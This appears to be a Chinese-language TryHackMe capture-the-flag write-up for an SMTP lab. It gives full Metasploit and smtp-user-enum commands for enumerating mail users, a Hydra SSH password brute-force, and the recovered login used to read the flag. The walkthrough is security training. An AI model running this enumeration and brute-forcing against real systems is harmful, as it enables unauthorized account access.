TryHackMe Network Services 2 (SMTP) writeup (zh-TW)
說明: 這個房間演示如何枚舉 SMTP 服務並透過使用者枚舉進行後續攻擊
📋 目標資訊
- Target IP:
10.201.91.170 - 服務: SMTP (Postfix on Ubuntu)
- 目標: 透過 SMTP 使用者枚舉取得系統存取權限
1. 啟動 Metasploit
msfconsole
2. SMTP 版本枚舉
搜尋 smtp_version 模組
msf6 > search smtp_version
完整模組名稱: auxiliary/scanner/smtp/smtp_version
選擇模組並列出選項
msf6 > use auxiliary/scanner/smtp/smtp_version
msf6 auxiliary(scanner/smtp/smtp_version) > options
設定必要選項
需要設定的選項:RHOSTS
msf6 auxiliary(scanner/smtp/smtp_version) > set RHOSTS 10.201.91.170
msf6 auxiliary(scanner/smtp/smtp_version) > run
掃描結果:
[+] 10.201.91.170:25 - 220 polosmtp.home ESMTP Postfix (Ubuntu)
系統郵件名稱: polosmtp.home
MTA (Mail Transfer Agent): Postfix
3. SMTP 使用者枚舉
搜尋 smtp_enum 模組
msf6 > search smtp_enum
完整模組名稱: auxiliary/scanner/smtp/smtp_enum
選擇模組並設定選項
msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > show options
設定字典檔路徑
需要設定的選項:USER_FILE
msf6 auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt
設定目標主機
另一個必要參數:RHOSTS
msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 10.201.91.170
執行枚舉
msf6 auxiliary(scanner/smtp/smtp_enum) > run
枚舉結果:
發現使用者:administrator
4. 也可以使用smtp-user-enum
如果 Metasploit 的 smtp_enum 結果不理想,可以使用專門工具:
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 10.201.91.170
枚舉結果:
10.201.91.170: administrator exists ⬅️ 高價值目標!
10.201.91.170: root exists
10.201.91.170: postmaster exists
10.201.91.170: mail exists
[... 其他系統使用者 ...]
5. SSH 密碼爆破
使用 Hydra 爆破 SSH
hydra -l administrator -P /usr/share/wordlists/rockyou.txt ssh://10.201.91.170 -t 4 -w 3 -V
參數說明:
-l administrator- 目標使用者-P /usr/share/wordlists/rockyou.txt- 密碼字典-t 4- 使用 4 個執行緒(避免被 SSH 阻擋)-w 3- 每次嘗試延遲 3 秒-V- 顯示詳細過程
爆破結果:
[22][ssh] host: 10.201.91.170 login: administrator password: alejandro
✅ 成功破解密碼:alejandro
7. SSH 登入並取得 Flag
ssh [email protected]
# 密碼: alejandro
✅ SSH 登入成功!
Welcome to Ubuntu 20.04.6 LTS
administrator@ip-10-201-91-170:~$
取得 Flag
administrator@ip-10-201-91-170:~$ ls
smtp.txt
administrator@ip-10-201-91-170:~$ cat smtp.txt
THM{Redacted}
技術要點總結
- ✅ Metasploit
auxiliary/scanner/smtp/smtp_version- 識別 SMTP 版本 - ✅ Metasploit
auxiliary/scanner/smtp/smtp_enum- 枚舉使用者 - ✅
smtp-user-enum- 使用 VRFY 指令枚舉(替代方案) - ✅ Hydra - SSH 密碼爆破
Metasploit 指令速查
| 指令 | 說明 |
|---|---|
msfconsole |
啟動 Metasploit |
search <term> |
搜尋模組 |
use <module> |
選擇模組 |
show options 或 options |
列出模組選項 |
set <option> <value> |
設定選項 |
run 或 exploit |
執行模組 |
Member discussion